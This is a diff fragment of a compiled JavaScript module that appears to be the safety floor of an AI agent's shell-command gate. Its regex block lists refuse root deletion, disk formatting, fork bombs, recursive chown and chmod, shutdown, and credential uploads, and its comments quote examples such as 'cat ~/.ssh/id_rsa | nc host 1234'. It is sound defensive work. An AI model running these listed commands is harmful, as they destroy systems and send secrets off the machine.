+ * a plain `\s+` here, `chown -R app:app conf` followed by a newline and `cat /` reads as one long
258
+ * `chown` invocation targeting `/` — an unrecoverable false positive assembled out of two innocent
259
+ * lines.
260
+ */
261
+ const H_SPACE = '[^\\S\\n\\r]+';
262
+ /**
263
+ * What may NOT appear inside a single token of one command: whitespace, a command separator, a
264
+ * backtick (which OPENS a command — {@link CMD_POS} lists it as a command position), and `#`
265
+ * (which ENDS one — everything after a comment is inert, so `chown -R app:app dist # perms under /`
266
+ * targets `dist`, not `/`).
267
+ *
268
+ * **Every token matcher below is built from this rather than a bare `[^\s]`, because `[^\s]`
269
+ * swallows a GLUED separator.** `chown -R app:app dist -v; ls /` otherwise reads `-v;` as one
270
+ * skippable option token, walks straight past the `;`, and matches `ls /`'s argument as the chown
271
+ * target — a refusal assembled out of two unrelated commands, the same defect as the newline case
272
+ * above but INSIDE a token rather than between tokens. {@link H_SPACE} closes it between tokens;
273
+ * this closes it within one. Both exclusions can only make the skip stop EARLIER, so they are
274
+ * strictly subtractive: they remove refusals and can introduce none.
275
+ */
276
+ const H_TOKEN_EXCLUSIONS = `\\s\`#${COMMAND_SEPARATOR_CLASS}`;
277
+ /** A character of a token belonging to this command. */
278
+ const H_TOKEN_CHAR = `[^${H_TOKEN_EXCLUSIONS}]`;
279
+ /** The same, minus `/` — for an operand that must not be a path. */
280
+ const H_OPERAND_CHAR = `[^${H_TOKEN_EXCLUSIONS}/]`;
281
+ /**
282
+ * A recursive flag: the long form, or any short-option cluster containing `r` (`-R`, `-hR`, `-Rv`).
283
+ * Patterns match the LOWERCASED normalized command, so `-R` arrives here as `-r`. The `(?!-)` keeps
284
+ * the cluster arm off long options, so `--reference=…` is not read as recursion.
285
+ */
286
+ const RECURSIVE_FLAG = `(?:--recursive|-(?!-)${H_TOKEN_CHAR}*r${H_TOKEN_CHAR}*)`;
287
+ /**
288
+ * A token the target arms may skip: an option, or the owner spec (`nobody:nobody`, `65534:65534`,
289
+ * `$user:$user`, `:group`). Neither arm can run past the end of the command
290
+ * ({@link H_TOKEN_EXCLUSIONS}), and the owner arm additionally excludes `/` so the skip cannot
291
+ * swallow a path operand. The option arm has to keep `/` — `--reference=/etc/passwd`.
292
+ */
293
+ const CHOWN_SKIPPABLE_ARG = `(?:-${H_TOKEN_CHAR}+|${H_OPERAND_CHAR}+)`;
294
+ /**
295
+ * `chown`, its options and its owner spec — everything up to the target. The owner is optional
296
+ * because `--reference=FILE` replaces it.
297
+ *
298
+ * **Anchored at {@link CMD_POS}, and it must stay anchored.** Unanchored, `\bchown` matches the
299
+ * word anywhere and {@link RECURSIVE_FLAG} accepts any `r`-bearing flag token, so `grep chown -r
300
+ * /etc` — pattern, flag, path, the standard invocation for asking why permissions under `/etc` keep
301
+ * changing — is refused under every rung including `bypass`, with no way for the user to proceed.
302
+ * The miss this buys is `sh -c "chown -R nobody:nobody /"`, which `classifyCommand` still resolves
303
+ * to `null`, so the ambiguity preflight escalates it at both rated rungs. Declining to vouch for
304
+ * the floor's completeness does not license refusing ordinary read-only work.
305
+ */
306
+ const CHOWN_HEAD = CMD_POS +
307
+ 'chown' +
308
+ H_SPACE +
309
+ `(?:${CHOWN_SKIPPABLE_ARG}${H_SPACE})*` +
310
+ RECURSIVE_FLAG +
311
+ H_SPACE +
312
+ `(?:${CHOWN_SKIPPABLE_ARG}${H_SPACE})*`;
313
+ /**
314
+ * Hardline patterns: [regex, human description]. Matched case-insensitively against the normalized
315
+ * command.
316
+ *
317
+ * **Every destructive-verb pattern is anchored at {@link CMD_POS}, and must stay anchored.** A word
318
+ * boundary (`\brm`) — or no anchor at all — matches the verb ANYWHERE, including inside prose and
319
+ * inside another command's arguments. Measured over 30 legitimate commands, the unanchored floor
320
+ * refused 10 of them: `echo never run rm -rf /`, `grep -c mkfs docs/*.md`,
321
+ * `rg -n "dd of=/dev/sd" scripts/`, `grep -rn "kill -1" packages/` and more. **The floor refused
322
+ * commands that merely talk about the floor**, unappealably, at every rung including `bypass`.
323
+ *
324
+ * {@link CMD_POS} consumes the wrapper programs and admits every separator position, so
325
+ * `sudo rm -rf /`, `ls -la; rm -rf /` and `ls\nrm -rf /` all keep refusing.
326
+ *
327
+ * **What anchoring gives up** is the interpreter-wrapper forms — `sh -c "rm -rf /"`,
328
+ * `bash -c "mkfs.ext4 /dev/sda1"`. `classifyCommand` resolves those to the prefixes `sh` and
329
+ * `bash`, so no deterministic layer sees them; what covers them is the RATER, which rates them
330
+ * `catastrophic`, so both rated rungs escalate. Only `bypass` is unguarded, and there the user has
331
+ * asked for no gate. A false positive in this layer has no recovery at any rung; a miss still has
332
+ * the layers above it. The floor stays narrow and accepts the misses.
333
+ *
334
+ * Two patterns are deliberately NOT anchored, because neither is a command-position construct: the
335
+ * `>`-redirect-to-device arm (a redirection operator appears mid-command by definition) and the
336
+ * fork-bomb literal (the string *is* the fork bomb).
337
+ */
338
+ export const HARDLINE_PATTERNS = [
339
+ // rm -rf targeting the root filesystem (`/`, `/*`). Built with `new RegExp` so both the tail and
340
+ // the target come from the shared fragments rather than a literal spelling of their own.
341
+ [
342
+ new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*' + ROOT_TARGET),
343
+ 'recursive delete of root filesystem',
344
+ ],
345
+ // rm -rf targeting protected system directories (with optional /* suffix).
346
+ [
347
+ new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*' + SYSTEM_DIR_TARGET),
348
+ 'recursive delete of system directory',
349
+ ],
350
+ // rm -rf targeting the home directory (~ or $HOME).
351
+ // Note: patterns match the LOWERCASED normalized command, so $HOME → $home.
352
+ [
353
+ new RegExp(CMD_POS + 'rm\\s+(?:-[^\\s]*\\s+)*(?:~|\\$home)(?:/\\*)?' + TARGET_TOKEN_END),
354
+ 'recursive delete of home directory',
355
+ ],
356
+ // Filesystem format. Anchored, `mkfs --help` is still refused, and that is accepted: a usage
357
+ // query is not work anyone loses, and requiring a device operand would trade a trivial false
358
+ // positive for a real miss.
359
+ [new RegExp(CMD_POS + 'mkfs(?:\\.[a-z0-9]+)?\\b'), 'format filesystem (mkfs)'],
360
+ // dd writing to a raw block device. Anchored: `rg -n "dd of=/dev/sd" scripts/` is a source search.
361
+ [
362
+ new RegExp(CMD_POS + 'dd\\b[^\\n]*\\bof=/dev/(?:sd|nvme|hd|mmcblk|vd|xvd)[a-z0-9]*'),
363
+ 'dd to raw block device',
364
+ ],
365
+ // Shell redirection to a raw block device (`> /dev/sda`).
366
+ [/>\s*\/dev\/(?:sd|nvme|hd|mmcblk|vd|xvd)[a-z0-9]*\b/, 'redirect to raw block device'],
367
+ // Classic fork bomb `:(){ :|:& };:`.
368
+ [/:\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:/, 'fork bomb'],
369
+ // Recursive chmod of root, and the same on a named system directory.
370
+ //
371
+ // The mode is any 3- or 4-digit octal rather than the literal `777`, because EVERY recursive
372
+ // chmod of `/` is catastrophic and not only the world-writable one: `755` on `/usr/bin/sudo`
373
+ // strips its setuid bit just as `000` does, and the box can no longer repair itself. The
374
+ // description therefore names no mode.
375
+ //
376
+ // The shared cluster-tolerant `RECURSIVE_FLAG` is required here: a standalone `(?:-r|--recursive)`
377
+ // does not match `chmod -Rv 777 /`.
378
+ //
379
+ // The target arms are what keep `chmod -R 777 /var/www` (corpus `de-04`, a deliberately
380
+ // UN-floored case) out of range — the target token must END at the system directory. A tailless
381
+ // `777\s+/` would fire on ANY absolute path.
382
+ [
383
+ new RegExp(CMD_POS +
384
+ 'chmod\\s+(?:-[^\\s]*\\s+)*' +
385
+ RECURSIVE_FLAG +
386
+ '\\s+(?:-[^\\s]*\\s+)*[0-7]{3,4}\\s+' +
387
+ ROOT_TARGET),
388
+ 'recursive chmod of root filesystem',
389
+ ],
390
+ [
391
+ new RegExp(CMD_POS +
392
+ 'chmod\\s+(?:-[^\\s]*\\s+)*' +
393
+ RECURSIVE_FLAG +
394
+ '\\s+(?:-[^\\s]*\\s+)*[0-7]{3,4}\\s+' +
395
+ SYSTEM_DIR_TARGET),
396
+ 'recursive chmod of system directory',
397
+ ],
398
+ // Recursive chown of the root filesystem (`chown -R nobody:nobody /`, `… /*`). Unrecoverable
399
+ // without rescue media: it strips setuid from `sudo` and re-owns every service account, so the
400
+ // box can no longer repair itself. `chmod 777` leaves you root; this takes root away. Same two
401
+ // arms off the same shared target fragments, so `chown -R app:app /var/www/html` does not match
402
+ // while `… /var` does.
403
+ [new RegExp(CHOWN_HEAD + ROOT_TARGET), 'recursive chown of root filesystem'],
404
+ [new RegExp(CHOWN_HEAD + SYSTEM_DIR_TARGET), 'recursive chown of system directory'],
405
+ // Kill every process on the system (`kill -9 -1`, `kill -- -1`).
406
+ //
407
+ // The option loop is `+` and NOT `*`, because `-1` means "every process" only in the PID OPERAND
408
+ // position — something has to precede it. With `*` the pattern also matches `kill -1`'s own
409
+ // SIGNAL position, so `kill -1 12345`, an ordinary SIGHUP to one process, is refused
410
+ // unappealably. Requiring a preceding token keeps `kill -9 -1`, `kill -HUP -1` and `kill -- -1`,
411
+ // and drops only `kill -1` with no PID, which is a usage error rather than a kill-all.
412
+ [new RegExp(CMD_POS + 'kill\\s+(?:-[^\\s]+\\s+)+-1\\b'), 'kill all processes'],
413
+ // System shutdown / reboot — anchored to a command position so `echo reboot`
414
+ // and `grep shutdown log` don't trip it.
415
+ [new RegExp(CMD_POS + '(?:shutdown|reboot|halt|poweroff)\\b'), 'system shutdown/reboot'],
416
+ [new RegExp(CMD_POS + 'init\\s+[06]\\b'), 'init 0/6 (shutdown/reboot)'],
417
+ [
418
+ new RegExp(CMD_POS + 'systemctl\\s+(?:poweroff|reboot|halt|kexec)\\b'),
419
+ 'systemctl poweroff/reboot',
420
+ ],
421
+ [new RegExp(CMD_POS + 'telinit\\s+[06]\\b'), 'telinit 0/6 (shutdown/reboot)'],
422
+ ];
423
+ /* -------------------------------------------------------------------------------------------- *
424
+ * §8 — the DETERMINISTIC SUBSET OF THE `attack` OUTCOME.
425
+ *
426
+ * **Two words that are not the same word.** `attack` is the OUTCOME — the one the gate halts on.
427
+ * *Exfiltration* is a MECHANISM: secrets leaving the machine, §4.1.1 part 1. This section
428
+ * implements the part of the outcome that is decidable without a model, and that part happens to be
429
+ * exactly the mechanism — which is why {@link isDeterministicExfiltration} keeps its name while the
430
+ * prose around it names the outcome. `attack` is wider than exfiltration (privesc, persistence,
431
+ * deception and obfuscation are all in it, and none of them are here), so naming this function
432
+ * `isDeterministicAttack` would claim a completeness it does not have.
433
+ *
434
+ * §3 requires that the `attack` outcome "MUST NOT depend on the rater alone — its deterministic
435
+ * subset belongs in the hardline floor", because the allow-list is consulted BEFORE the rater and
436
+ * would otherwise wave an allow-listed credential upload straight through. What this section
437
+ * therefore guarantees without a model is that such a command is **refused** — at every rung, above
438
+ * the allow list, and again before spawn. §4.2's run-ending halt stays with the rater's `attack`
439
+ * verdict: a floor match is a model-free assertion, and the model-free consequence is a refusal.
440
+ *
441
+ * This is deliberately a SUBSET, not an attempt at the whole outcome. The floor is unconfigurable
442
+ * and fires under `bypass`, so a false positive here is unrecoverable — the user cannot change rung
443
+ * to escape it. Four rules shape it:
444
+ *
445
+ * 1. **A credential SOURCE and a network SINK must appear in the SAME PIPELINE.** Sequencing
446
+ * operators (`;`, `&&`, `||`, `&`, newline) start a new pipeline, because they carry no data
447
+ * between the halves. So `ssh-keygen -f ~/.ssh/id_ed25519 && curl https://api.github.com/…` is
448
+ * an ordinary generate-then-upload-the-PUBLIC-key flow and must not be refused, while
449
+ * `cat ~/.ssh/id_rsa | nc host 1234` must be.
450
+ *
451
+ * **The conjunction is what makes the sets safe to be broad.** `scp` and `rsync` are ordinary
452
+ * publishing tools, but `scp ./report.pdf deploy@myhost:/srv/` carries no credential source and
453
+ * so cannot fire. That is why they belong in the sink set: §4.1.1 part 1 makes secrets
454
+ * exfiltration **by any route**, destination irrelevant, so a sink set omitting the file-copy
455
+ * tools would not implement part 1 at all.
456
+ *
457
+ * 2. **A `.pub` file is never a credential source.** Registering a public key is among the most
458
+ * ordinary things a developer does, and `id_rsa.pub` satisfies `\bid_rsa\b` — the word boundary
459
+ * is the dot — so the exclusion has to be explicit.
460
+ *
461
+ * 3. **A whole credential DIRECTORY is a stronger signal than one file, not a weaker one.**
462
+ * `aws s3 sync ~/.ssh s3://bucket/` archives the lot. The directory forms match only when the
463
+ * path token ENDS there, so `~/.ssh/id_rsa.pub` is not caught by the `~/.ssh` pattern and rule
464
+ * 2 is not undone.
465
+ *
466
+ * 4. **`.env` is a source, except where it is the DOWNLOAD TARGET.** The conjunction already keeps
467
+ * `docker run --env-file .env …` (no sink) out of range. The one ordinary shape with both a
468
+ * dotenv file and a sink in one pipeline is fetching one — `curl -o .env https://…` — where the
469
+ * data flows IN, and {@link DOTENV_AS_OUTPUT_TARGET} excludes exactly that. It can only
470
+ * SUPPRESS a match, so its failure mode is a missed detection, never a new unrecoverable
471
+ * refusal.
472
+ *
473
+ * `git` and `gh` are deliberately NOT sinks: whether a remote is one the project configured cannot
474
+ * be judged statically, which is §4.1.1 part 2 — the rater's job, not the floor's.
475
+ *
476
+ * §8.1 applies to everything here: the floor exists, and no user-facing copy may lean on it.
477
+ * -------------------------------------------------------------------------------------------- */
478
+ /**
479
+ * Sequencing separators — where one pipeline ENDS and an unrelated one begins. Deliberately NOT
480
+ * `COMMAND_SEPARATOR_CLASS`: that includes `|`, which is precisely the operator that DOES carry
481
+ * data from a credential source into a network sink and so must keep the two in one pipeline.
482
+ */
483
+ const PIPELINE_SPLIT_RE = /[;&\n\r]/;
484
+ /**
485
+ * A command that transmits data off the machine, anchored to a command position (so `echo curl`
486
+ * and `grep nc file` do not trip it). The file-copy tools are here because §4.1.1 part 1 makes
487
+ * secrets exfiltration **by any route** regardless of destination; the same-pipeline conjunction
488
+ * is what keeps them from firing on ordinary publishing (`scp ./report.pdf deploy@myhost:/srv/`
489
+ * carries no credential source). `git`/`gh` stay out — a remote's identity is part 2, which cannot
490
+ * be judged statically.
491
+ */
492
+ const NETWORK_SINK_RE = new RegExp(CMD_POS +
493
+ '(?:curl|wget|nc|ncat|netcat|telnet|socat|tftp|scp|sftp|rsync|aws\\s+s3|gsutil|gcloud\\s+storage)\\b');
494
+ /**
495
+ * A path token that ENDS here — at end of input, at whitespace, or after a single trailing slash.
496
+ * This is what keeps the directory forms below from swallowing the files inside them, so
497
+ * `~/.ssh/id_rsa.pub` is not caught by the `~/.ssh` pattern.
498
+ */
499
+ const TOKEN_END = '/?(?=$|\\s)';
500
+ /**
501
+ * NOT a public key. `id_rsa.pub` satisfies `\bid_rsa\b` (the boundary is the dot), and uploading a
502
+ * public key is ordinary work with no way out of an unconfigurable refusal, so every private-key
503
+ * pattern carries this lookahead over the rest of the path token.
504
+ */
505
+ const NOT_PUBLIC_KEY = '(?![^\\s]*\\.pub\\b)';
506
+ /** A dotenv file (`.env`, `.env.production`), not preceded by word characters (`--env-file`). */
507
+ const DOTENV_RE = /(?<![\w.\-])\.env(?:\.[^\s/]+)?(?=$|\s)/;
508
+ /**
509
+ * A dotenv file being WRITTEN by the pipeline rather than read out of it — `curl -o .env <url>`,
510
+ * `wget --output-document=.env <url>`, `curl <url> > .env`. The data flows IN, so the
511
+ * source-plus-sink conjunction is a false proxy here. Suppression only; see rule 4 above.
512
+ */
513
+ const DOTENV_AS_OUTPUT_TARGET = /(?:-o|--output|--output-document|>)[\s=]*[^\s]*\.env(?:\.[^\s/]+)?(?=$|\s)/;
514
+ /**
515
+ * Credential material whose presence in a transmitting pipeline has no legitimate reading:
516
+ * private keys, cloud/registry credential stores, keyring directories, dotenv files — plus a bare
517
+ * `env`/`printenv` whose whole output is being piped somewhere.
518
+ *
519
+ * The `env`/`printenv` arm requires the command to be the WHOLE pipeline stage (`env |`, or `env`
520
+ * at the end), so the shell's `env VAR=value <cmd>` wrapper form — e.g. `env FOO=bar curl …` — is
521
+ * not mistaken for dumping the environment.
522
+ */
523
+ const CREDENTIAL_SOURCE_PATTERNS = [
524
+ // Private keys, by path or by name — never the `.pub` half.
525
+ new RegExp('\\.ssh/id_' + NOT_PUBLIC_KEY),
526
+ new RegExp('\\bid_(?:rsa|dsa|ecdsa|ed25519)\\b' + NOT_PUBLIC_KEY),
527
+ // Whole credential DIRECTORIES (rule 3): the token has to end at the directory.
528
+ new RegExp('\\.ssh' + TOKEN_END),
529
+ new RegExp('\\.aws' + TOKEN_END),
530
+ new RegExp('\\.gnupg' + TOKEN_END),
531
+ new RegExp('\\.kube' + TOKEN_END),
532
+ new RegExp('\\.docker' + TOKEN_END),
533
+ new RegExp('\\.config/gcloud' + TOKEN_END),
534
+ // Individual credential stores.
535
+ /\.aws\/credentials\b/,
536
+ /\.netrc\b/,
537
+ /\.npmrc\b/,
538
+ /\.docker\/config\.json\b/,
539
+ /\.kube\/config\b/,
540
+ /\.gnupg\//,
541
+ /\.config\/gcloud\//,
542
+ // The whole environment, piped somewhere.
543
+ new RegExp(CMD_POS + '(?:printenv|env)\\s*(?=\\||$)'),
544
+ ];
545
+ /**
546
+ * Whether one pipeline both reads credential material and transmits data off the machine.
547
+ * Exported for tests, which pin BOTH directions: the credential-upload shapes must match, and
548
+ * `git push` / `git push --force` / `gh pr create` / `npm publish` / `docker push` / `git fetch` /
549
+ * `scp report.pdf host:` must not.
550
+ *
551
+ * @param normalizedLowerCommand the command after {@link normalizeCommand} + `toLowerCase()`,
552
+ * i.e. exactly what the pattern loop in {@link checkHardline} matches against.
553
+ */
554
+ export function isDeterministicExfiltration(normalizedLowerCommand) {
555
+ for (const pipeline of normalizedLowerCommand.split(PIPELINE_SPLIT_RE)) {
556
+ if (!NETWORK_SINK_RE.test(pipeline))
557
+ continue;
558
+ if (CREDENTIAL_SOURCE_PATTERNS.some((pattern) => pattern.test(pipeline)))
559
+ return true;
560
+ // A dotenv file is a source unless the pipeline is FETCHING one (rule 4).
561
+ if (DOTENV_RE.test(pipeline) && !DOTENV_AS_OUTPUT_TARGET.test(pipeline))
562
+ return true;
563
+ }
564
+ return false;
565
+ }
566
+ /**
567
+ * The {@link HardlineMatch.pattern} token for the arm that is not a pattern: §3/§8's deterministic
568
+ * exfiltration test, which decides per pipeline rather than by one regex.
569
+ */
570
+ export const EXFILTRATION_ARM = 'deterministic-exfiltration';
571
+ /**
572
+ * Check a raw command against the hardline blocklist. Normalizes first so
573
+ * obfuscated variants are caught. Returns the match (with a description) when the
574
+ * command is catastrophic, or `null` when it is allowed to proceed.
575
+ */
576
+ export function checkHardline(command) {
577
+ const normalized = normalizeCommand(command).toLowerCase();
578
+ for (const [pattern, description] of HARDLINE_PATTERNS) {
579
+ if (pattern.test(normalized)) {
580
+ return { description, pattern: pattern.source };
581
+ }
582
+ }
583
+ // §3/§8 — the deterministic subset of the `attack` outcome, so refusing a credential upload does
584
+ // not depend on a model being right, and cannot be ridden through on an allow-list entry
585
+ // (consulted before the rater).
586
+ if (isDeterministicExfiltration(normalized)) {
587
+ return { description: 'sending credentials off the machine', pattern: EXFILTRATION_ARM };
588
+ }
589
+ return null;
590
+ }
591
+ /**
592
+ * The refusal a floor match produces, shared by both call sites (§8, §4.2).
593
+ *
594
+ * One wording, because they are one policy: the gate refuses the call before any rating or prompt,
595
+ * and the toolkit refuses it before spawn if anything ever reaches that far. A second sentence
596
+ * would let a user meet two different explanations of the same unappealable rule and conclude that
597
+ * two different rules exist.
598
+ *
599
+ * **It names no move.** §7's rejection moves — *"call the same command with a justification"* — are
600
+ * exactly what this refusal is not: the floor is unappealable at every rung, so inviting a
601
+ * justification would invite a round that cannot be won.
602
+ */
603
+ export function buildHardlineRefusal(command, match) {
604
+ return (`Refusing to execute '${command}': blocked by hardline safety policy ` +
605
+ `(${match.description}). This is blocked even when command confirmation is disabled.`);
606
+ }
607
+ //# sourceMappingURL=hardline.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"hardline.js","sourceRoot":"","sources":["../../../src/core/shell/hardline.ts"],"names":[],"mappings":"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